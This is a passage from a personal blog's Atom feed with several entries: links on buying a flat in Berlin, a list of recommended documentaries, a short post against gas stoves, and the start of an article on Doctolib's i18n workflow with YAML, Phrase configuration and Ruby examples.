&lt;li&gt;&lt;a href="https://www.connexion-francaise.com/vivre-en-allemagne/acheter-un-bien-immobilier-en-allemagne"&gt;www.connexion-francaise.com/vivre-en-allemagne/acheter-un-bien-immobilier-en-allemagne&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="from-reddit"&gt;From Reddit&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/berlin/comments/pgfd3z/to_people_who_own_their_flats_in_berlin_which/"&gt;To people who own their flats in Berlin, which tips would you give your past-self, before your first purchase?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/eupersonalfinance/comments/uhccds/buying_and_owning_an_apartment_in_berlin/"&gt;Buying and owning an apartment in Berlin&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.reddit.com/r/berlin/comments/m2ldbw/buying_an_apartment_in_berlin_2021_covid/"&gt;Buying an apartment in Berlin (2021, Covid)&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Miscellaneous"></category><category term="berlin"></category><category term="germany"></category><category term="apartment"></category></entry><entry><title>Documentaries To Watch</title><link href="https://romainpellerin.eu/documentaries-to-watch.html" rel="alternate"></link><published>2022-03-12T13:40:00+01:00</published><updated>2024-07-04T10:48:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2022-03-12:/documentaries-to-watch.html</id><summary type="html">&lt;p&gt;Educational videos on various topics&lt;/p&gt;</summary><content type="html">&lt;h1 id="homos-en-france"&gt;Homos en France&lt;/h1&gt;
&lt;p&gt;Seen on France 2.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://archive.org/details/homos-en-france-france-2-2023-05-16-21-12-1080p-5398k"&gt;https://archive.org/details/homos-en-france-france-2-2023-05-16-21-12-1080p-5398k&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Life-changing documentary, that will change your views and opinions on the matter. Must watch, for anyone, regardless of their sexual orientation.&lt;/p&gt;
&lt;h1 id="mark-cavendish-never-enough"&gt;Mark Cavendish: Never Enough&lt;/h1&gt;
&lt;p&gt;See on Netflix.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.netflix.com/us-en/title/81568626"&gt;https://www.netflix.com/us-en/title/81568626&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Dare I say the best professional road cycling documentary ever? Probably.&lt;/p&gt;
&lt;h1 id="antivax-les-marchands-de-doute"&gt;Antivax - Les Marchands de doute&lt;/h1&gt;
&lt;p&gt;Seen on Arte.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=HpUVJcKBMb0"&gt;https://www.youtube.com/watch?v=HpUVJcKBMb0&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="alternative-links"&gt;Alternative links&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://odysee.com/@Contreverse:7/Antivax---Les-marchands-de-doute-_-ARTE:4"&gt;https://odysee.com/@Contreverse:7/Antivax---Les-marchands-de-doute-_-ARTE:4&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://video.ploud.fr/w/061396b1-408a-438d-93ec-7c66fb45ce33"&gt;https://video.ploud.fr/w/061396b1-408a-438d-93ec-7c66fb45ce33&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="covid-19-la-course-aux-vaccins"&gt;Covid-19, la course aux vaccins&lt;/h1&gt;
&lt;p&gt;Seen on Arte.&lt;/p&gt;
&lt;h2 id="alternative-links_1"&gt;Alternative links&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://tube.cloud-libre.eu/w/47518989-9e7d-4d7c-ad7c-7479b2206ffe"&gt;https://tube.cloud-libre.eu/w/47518989-9e7d-4d7c-ad7c-7479b2206ffe&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://video.ploud.fr/w/6e67d423-82bd-4b94-8a3c-5b757921db40"&gt;https://video.ploud.fr/w/6e67d423-82bd-4b94-8a3c-5b757921db40&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://odysee.com/@LiBERTY_VOICE:b/Covid-19,-la-course-aux-vaccins-_-ARTE:7"&gt;https://odysee.com/@LiBERTY_VOICE:b/Covid-19,-la-course-aux-vaccins-_-ARTE:7&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://odysee.com/@Roms17:d/Covid-19,-la-course-aux-vaccins:0"&gt;https://odysee.com/@Roms17:d/Covid-19,-la-course-aux-vaccins:0&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://odysee.com/@MascaradeetleCoronavirus:c/covid-19-la-course-aux-vaccins-arte:c"&gt;https://odysee.com/@MascaradeetleCoronavirus:c/covid-19-la-course-aux-vaccins-arte:c&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="lhomeopathie-medecine-douce-ou-imposture"&gt;L'homeopathie  - Médecine douce ou imposture&lt;/h1&gt;
&lt;p&gt;Seen on Arte.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://boutique.arte.tv/detail/homeopathie-medecine-douce-ou-imposture"&gt;https://boutique.arte.tv/detail/homeopathie-medecine-douce-ou-imposture&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="alternative-links_2"&gt;Alternative links&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.dailymotion.com/video/x7ylh0j"&gt;https://www.dailymotion.com/video/x7ylh0j&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="nucleaire-une-energie-qui-derange"&gt;Nucléaire - une énergie qui dérange&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=yNUIaqCPttc"&gt;https://www.youtube.com/watch?v=yNUIaqCPttc&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="alternative-links_3"&gt;Alternative links&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://peertube.cipherbliss.com/w/8c730c33-dc00-4d3a-8c5c-7ec11f4d8da4"&gt;https://peertube.cipherbliss.com/w/8c730c33-dc00-4d3a-8c5c-7ec11f4d8da4&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://tube.fede.re/w/0f7ff800-5633-4b54-8506-7c65b233bd48"&gt;https://tube.fede.re/w/0f7ff800-5633-4b54-8506-7c65b233bd48&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="vers-des-transports-durables-des-metropoles-en-mouvement"&gt;Vers des transports durables - Des métropoles en mouvement&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.arte.tv/fr/videos/096280-000-A/vers-des-transports-durables/"&gt;https://www.arte.tv/fr/videos/096280-000-A/vers-des-transports-durables/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id="nucleaire-une-solution-pour-la-planete"&gt;Nucléaire : une solution pour la planète ?&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.arte.tv/fr/videos/098818-000-A/nucleaire-une-solution-pour-la-planete/"&gt;https://www.arte.tv/fr/videos/098818-000-A/nucleaire-une-solution-pour-la-planete/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This video is heavily criticized &lt;a href="https://fr.linkedin.com/pulse/fabriquer-lignorance-en-documentaire-myriam-tonelotto"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="alternative-links_4"&gt;Alternative links&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.youtube.com/watch?v=6EBm2vWxe4o"&gt;https://www.youtube.com/watch?v=6EBm2vWxe4o&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://video.ploud.fr/w/fbP5cbT2C6rbEesgoQjNEh"&gt;https://video.ploud.fr/w/fbP5cbT2C6rbEesgoQjNEh&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://odysee.com/@Marie-JeanneTV:1/Nucl%C3%A9aire-une-solution-pour-la-plan%C3%A8te:e"&gt;https://odysee.com/@Marie-JeanneTV:1/Nucl%C3%A9aire-une-solution-pour-la-plan%C3%A8te:e&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;p&gt;Search engine of PeerTube videos: &lt;a href="https://sepiasearch.org"&gt;https://sepiasearch.org&lt;/a&gt;&lt;/p&gt;</content><category term="Miscellaneous"></category><category term="documentaries"></category><category term="videos"></category><category term="education"></category></entry><entry><title>Gas Stoves suck</title><link href="https://romainpellerin.eu/gas-stoves-suck.html" rel="alternate"></link><published>2022-01-14T12:00:00+01:00</published><updated>2023-01-22T19:13:00+01:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2022-01-14:/gas-stoves-suck.html</id><summary type="html">&lt;p&gt;Fuck "Cooking with Gas"&lt;/p&gt;</summary><content type="html">&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/hX2aZUav-54" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen&gt;&lt;/iframe&gt;

&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/jEWP44eKIVw" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen&gt;&lt;/iframe&gt;

&lt;p&gt;Also, &lt;a href="https://twitter.com/curious_founder/status/1481746460378992641"&gt;https://twitter.com/curious_founder/status/1481746460378992641&lt;/a&gt; (&lt;a href="https://threadreaderapp.com/thread/1481746460378992641.html"&gt;alternative link&lt;/a&gt;)&lt;/p&gt;</content><category term="What's bad about"></category><category term="gas"></category></entry><entry><title>Keys to efficient i18n</title><link href="https://romainpellerin.eu/keys-to-efficient-i18n.html" rel="alternate"></link><published>2021-12-16T12:00:00+01:00</published><updated>2022-09-24T12:11:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2021-12-16:/keys-to-efficient-i18n.html</id><summary type="html">&lt;p&gt;2021 marked a big milestone for the Doctolib engineering teams. Our 8-year-old codebase and products finally switched from French to…&lt;/p&gt;</summary><content type="html">&lt;p&gt;&lt;em&gt;Originally published on &lt;a href="https://romainpellerin.medium.com/keys-to-efficient-i18n-ec38fd461d7d"&gt;Medium&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;2021 marked a big milestone for the Doctolib engineering teams. Our 8-year-old codebase and products finally switched from French to English as a default language/locale.&lt;/p&gt;
&lt;p&gt;&lt;em&gt;As Doctolib is not present in any English speaking country, we don't have region-specific locales such as en-GB or en-US, nor do we have multiple French, German or Italian locales. We therefore in the rest of this article use the terms&lt;/em&gt; &lt;strong&gt;&lt;em&gt;locale&lt;/em&gt;&lt;/strong&gt; &lt;em&gt;and&lt;/em&gt; &lt;strong&gt;&lt;em&gt;language&lt;/em&gt;&lt;/strong&gt; &lt;em&gt;interchangeably. Localization (formatting of dates, currency, the change of language) and translation in Ruby on Rails are the same process. Only in the front end does localization require extra setting of some packages like &lt;a href="https://momentjs.com/"&gt;Moment.js&lt;/a&gt; or &lt;a href="https://day.js.org/"&gt;Day.js&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;It was not an easy move. But we did it for multiple reasons:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Our products are used by health practitioners and patients in France, Germany and Italy. Whenever a translation would go missing or not be translated in time, defaulting to French on the production website was not making much sense.&lt;/li&gt;
&lt;li&gt;While 3 years ago, almost all of our developers were French (or at least French-speaking), this is not true anymore. We have people coming from more than 40 countries and our tech centers are established in three different European countries. Writing tests in French by default was slowing everybody down. Using the development environment in English was difficult, and not an option known to many developers. In reality it should have been the default option.&lt;/li&gt;
&lt;li&gt;We wanted to make our translation process homogeneous for all countries. In doing so, we addressed problems only the German and Italian teams had been experiencing in the past, such as the delay between merging a pull request and having the translations available in production, or the fact that tests would occasionally fail because of new or changed translations. Specifically, tests testing features only available outside of France but asserting texts in French. When the German or Italian translations would eventually make it to the codebase, those tests would break. We therefore decided all tests now had to be written in English, unless testing a feature only available in one country.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;With the whys out of the way, let's now see tips and tricks we've learned — sometimes the hard way.&lt;/p&gt;
&lt;h1 id="tools-are-your-friends-leverage-them"&gt;Tools are your friends, leverage them&lt;/h1&gt;
&lt;p&gt;Dependencies-wise, we use &lt;a href="https://github.com/ruby-i18n/i18n"&gt;the default Rails gem&lt;/a&gt; to localize our app on the back end, and we use &lt;a href="https://www.npmjs.com/package/i18n-js"&gt;i18n-js&lt;/a&gt; on the front end.&lt;/p&gt;
&lt;p&gt;In most applications, localization is done through YAML files. For instance, a &lt;code&gt;en.yml&lt;/code&gt; file might look like this:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;en&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;welcome&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;Welcome to my website&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;menu_options&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;login&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;Log in&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;logout&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;Log out&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;users_connected&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;zero&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;No users connected&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;one&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;One user connected&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;other&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;%{count}&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;users&lt;/span&gt;&lt;span class="nv"&gt; &lt;/span&gt;&lt;span class="s"&gt;connected&amp;quot;&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;We refer to full-path YAML keys as "i18n keys". For instance, &lt;code&gt;en.menu_options.login&lt;/code&gt; is a full-path YAML key, although the first key in the hierarchy (&lt;code&gt;en&lt;/code&gt; as in "English", the language) is generally omitted when talking about i18n keys. We refer to the values as "translations". Here, we have an English translation for each key.&lt;/p&gt;
&lt;p&gt;We use &lt;a href="https://phrase.com/"&gt;Phrase&lt;/a&gt; to manage our translations. In Phrase, translations are identified by "i18n key + locale", and alongside their translation string also have two different attributes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;translated&lt;/em&gt;: &lt;code&gt;true&lt;/code&gt; or &lt;code&gt;false&lt;/code&gt;. Indicates whether a given key has been translated in a specific locale. If &lt;code&gt;false&lt;/code&gt;, it means the translation is an empty string.&lt;/li&gt;
&lt;li&gt;&lt;em&gt;verified&lt;/em&gt;: &lt;code&gt;true&lt;/code&gt; or &lt;code&gt;false&lt;/code&gt;. Indicates whether the existing translation for this couple key+locale was marked as verified or not. It other words, it tells you whether a human approved this translation in Phrase or not.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Phrase can be used through their editor on the website, through &lt;a href="https://phrase.com/cli/"&gt;their CLI&lt;/a&gt;, or through &lt;a href="https://developers.phrase.com/api/"&gt;their API&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;At Doctolib, every commit to the &lt;code&gt;master&lt;/code&gt; branch leads to our file &lt;code&gt;en.yml&lt;/code&gt; being uploaded to Phrase. This way, we keep our English translations and our keys in sync with Phrase at all times.&lt;/p&gt;
&lt;p&gt;We've set Phrase up so that any new i18n key pushed to Phrase automatically creates the French, German and Italian translations based on the uploaded English translation. This is what they call &lt;a href="https://help.phrase.com/help/machine-translation"&gt;Machine Translation&lt;/a&gt;. It's like Google Translate, but automated. It saves us a lot of time. Then, our UX writers only have to review the translations, correct them if necessary, and mark them as verified.&lt;/p&gt;
&lt;p&gt;Phrase is a great tool with many options, that can be configured either in the website or in &lt;code&gt;.phraseapp.yml&lt;/code&gt;. After trying different settings for a while, here is what we found to work best for us:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;phraseapp&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;access_token&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;# ...&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;project_id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;# ...&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;file_format&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;yml&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;push&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;sources&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;file&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;./config/locales/en.yml&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;params&lt;/span&gt;&lt;span class="p p-Indicator"&gt;:&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nt"&gt;locale_id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;en&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nt"&gt;file_format&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;yml&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nt"&gt;skip_upload_tags&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;true&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nt"&gt;update_translations&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;true&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nt"&gt;skip_unverification&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;true&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nt"&gt;pull&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="nt"&gt;targets&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;file&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;./config/locales/fr.yml&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;params&lt;/span&gt;&lt;span class="p p-Indicator"&gt;:&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nt"&gt;locale_id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;fr&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nt"&gt;include_empty_translations&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;true&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nt"&gt;exclude_empty_zero_forms&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;true&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="nt"&gt;include_unverified_translations&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;false&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;# Here, same configuration for de.yml and it.yml&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;code&gt;include_unverified_translations: false&lt;/code&gt; makes sure only human-verified translations are downloaded when we run &lt;code&gt;phrase_cli pull&lt;/code&gt; . This is critical as we don't want machine translated translations to make it to production without any human review, as the translation has oftentimes to be context dependent.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;skip_unverification: true&lt;/code&gt; makes sure than any edits to an English translation does not unverify (i.e. mark as "not verified") the corresponding FR/DE/IT translations. This may sound counter-intuitive as it means that updates to English translations are not reflected in the other languages as long as no one updates the translations. But it actually allow us to keep our current translations in production. Because of the above-mentioned setting (&lt;code&gt;include_unverified_translations: false)&lt;/code&gt; , if we were to mark our translations as unverified, they would actually be removed when we next run &lt;code&gt;phrase_cli pull&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://help.phrase.com/help/working-with-pluralization"&gt;Pluralization is done through special keys.&lt;/a&gt; The most common ones are &lt;code&gt;zero&lt;/code&gt; , &lt;code&gt;one&lt;/code&gt; and &lt;code&gt;other&lt;/code&gt;, as shown in the example file above. All plural forms are optional, meaning we can provide as many as we want. While some plural forms might be the same in a given language, they might all differ in another one. To make translating in other languages in the Phrase editor easier, we've decided to always provide the &lt;code&gt;zero&lt;/code&gt; form, in addition to &lt;code&gt;one&lt;/code&gt; and &lt;code&gt;many&lt;/code&gt; in our &lt;code&gt;en.yml&lt;/code&gt; file. We enforce this through a static test. That's also why we also have &lt;code&gt;exclude_empty_zero_forms: true&lt;/code&gt; so that whenever the &lt;code&gt;zero&lt;/code&gt; form is the same as &lt;code&gt;other&lt;/code&gt;, we can skip translating it in Phrase and therefore not clutter our &lt;code&gt;fr.yml&lt;/code&gt;, &lt;code&gt;de.yml&lt;/code&gt; and &lt;code&gt;it.yml&lt;/code&gt; files unnecessarily.&lt;/p&gt;
&lt;p&gt;Finally, &lt;code&gt;include_empty_translations&lt;/code&gt; is required by Rails to work properly, as some translations need to remain explicitly empty, such as the ones that help Rails format numbers.&lt;/p&gt;
&lt;h1 id="keeping-phrase-up-to-date"&gt;Keeping Phrase up-to-date&lt;/h1&gt;
&lt;p&gt;We strive to keep the number of unverified translations as low as possible, because any unverified translation is a translation that is not in production.&lt;/p&gt;
&lt;figure class="center"&gt;
&lt;img src="https://romainpellerin.eu/images/keys-to-efficient-i18n/phrase-editor.png" alt="A screenshot of the Phrase editor" /&gt;
&lt;figcaption&gt;The Phrase web editor tells you how many unverified translations you have&lt;/figcaption&gt;
&lt;/figure&gt;

&lt;p&gt;Since we just launched Doctolib in Italy, we have a little less than 10% of our i18n keys not yet available in Italian, as we are slowly catching up. Regarding the 163 unverified German translations, those are for features not used in Germany at the moment. But we’re nonetheless in the process of verifying them, because first of all these features might someday become available in Germany, and also German-speaking developers might want to use the German language while working on French or Italian features.&lt;/p&gt;
&lt;h1 id="string-interpolation-is-often-a-bad-idea"&gt;String interpolation is often a bad idea&lt;/h1&gt;
&lt;p&gt;While we were doing the switch from French to English, we realized at some point that we had a ton of unused keys in &lt;code&gt;en.yml&lt;/code&gt; . Keys from deleted features, keys from refactored code, etc. How to know which keys are actually used?&lt;/p&gt;
&lt;p&gt;We first try running &lt;code&gt;grep&lt;/code&gt; for every i18n key found in &lt;code&gt;en.yml&lt;/code&gt; across the entire codebase. But string interpolation made this impossible.&lt;/p&gt;
&lt;p&gt;What's string interpolation? There you go:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;account&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;doctor?&lt;/span&gt;
    &lt;span class="n"&gt;account_type&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;doctor&amp;#39;&lt;/span&gt;
&lt;span class="k"&gt;else&lt;/span&gt;
    &lt;span class="n"&gt;account_type&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;patient&amp;#39;&lt;/span&gt;
&lt;span class="k"&gt;end&lt;/span&gt;

&lt;span class="c1"&gt;# many many lines further down...&lt;/span&gt;
&lt;span class="no"&gt;I18n&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;common.account.&lt;/span&gt;&lt;span class="si"&gt;#{&lt;/span&gt;&lt;span class="n"&gt;account_type&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;.greetings&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="no"&gt;Hello&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;doctor&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

